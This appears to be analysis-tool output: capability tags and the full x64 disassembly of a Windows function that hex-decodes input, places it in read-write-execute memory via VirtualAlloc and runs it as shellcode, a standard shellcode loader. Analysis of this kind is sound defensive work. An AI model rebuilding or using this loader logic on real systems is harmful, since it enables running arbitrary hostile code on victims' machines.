Function at 0x140001290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xa0]
call fcn.140002a50
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov r14d, ebx
mov qword [rbp - 0x78], rbx
mov esi, 0xf
mov qword [rbp - 0x70], rsi
mov byte [rsp + 0x78], bl
cmp qword [rbp + 0x130], rbx
je 0x1400014ec
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140005650]
mov qword [rbp - 0x60], rax
lea rax, [0x140005590]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 1
xor r8d, r8d
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x20], rbx
mov dword [rbp + 0x28], ebx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
mov byte [rsp + 0x38], bl
mov dword [rsp + 0x30], 5
mov ecx, dword [rbp + 0x28]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140001400
mov rax, qword [rbp - 8]
mov rdi, qword [rax]
test rdi, rdi
je 0x140001400
mov rax, qword [rbp - 0x28]
mov r9, qword [rax]
cmp rdi, qword [rbp + 0x20]
cmovb rdi, qword [rbp + 0x20]
jmp 0x140001422
test cl, 4
jne 0x140001458
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x140001458
mov rax, qword [rbp - 0x30]
mov r9, qword [rax]
mov rax, qword [rbp + 8]
movsxd rdi, dword [rax]
add rdi, rcx
mov rax, r9
sub rdi, r9
test rax, rax
je 0x140001458
lea rcx, [rsp + 0x38]
cmp rdi, 0xf
ja 0x14000144f
mov qword [rsp + 0x48], rdi
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rdi + 0x38], 0
jmp 0x140001458
mov rdx, rdi
call fcn.1400032a0
nop
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp - 0x78], xmm1
movq r14, xmm1
mov r15, r14
shr r15, 1
lea rcx, [rbp + 0xb0]
call fcn.140002f70
test rax, rax
jne 0x1400014aa
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call fcn.140001d30
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rsi, qword [rbp - 0x70]
jmp 0x1400014f1
mov r15, qword [rsp + 0x58]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
mov rdi, qword [rsp + 0x78]
test r14, r14
je 0x1400015bd
mov r8, rbx
cmp rsi, 0xf
seta r9b
nop word [rax + rax]
lea rax, [rsp + 0x78]
cmp rsi, 0xf
cmova rax, rdi
movzx eax, byte [r8 + rax]
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x14000153e
sub al, 0x30
jmp 0x140001558
lea ecx, [rax - 0x61]
cmp cl, 5
ja 0x14000154a
sub al, 0x57
jmp 0x140001558
lea ecx, [rax - 0x41]
cmp cl, 5
ja 0x140001556
sub al, 0x37
jmp 0x140001558
xor al, al
lea rcx, [rsp + 0x78]
test r9b, r9b
cmovne rcx, rdi
movzx edx, byte [r8 + rcx + 1]
lea ecx, [rdx - 0x30]
cmp cl, 9
ja 0x140001577
sub dl, 0x30
jmp 0x140001593
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x140001584
sub dl, 0x57
jmp 0x140001593
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x140001591
sub dl, 0x37
jmp 0x140001593
xor dl, dl
shl al, 4
add al, dl
mov ecx, ebx
test ebx, ebx
jns 0x1400015a1
lea ecx, [rbx + 1]
sar ecx, 1
movsxd rcx, ecx
mov byte [rcx + r12], al
add ebx, 2
add r8, 2
movsxd rax, ebx
cmp rax, r14
jb 0x140001520
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, r15
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
nop
cmp rsi, 0xf
jbe 0x140001623
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000161a
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000161a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400034fc
nop
lea rcx, [rbp + 0xa0]
call fcn.140001670
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1400034a0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret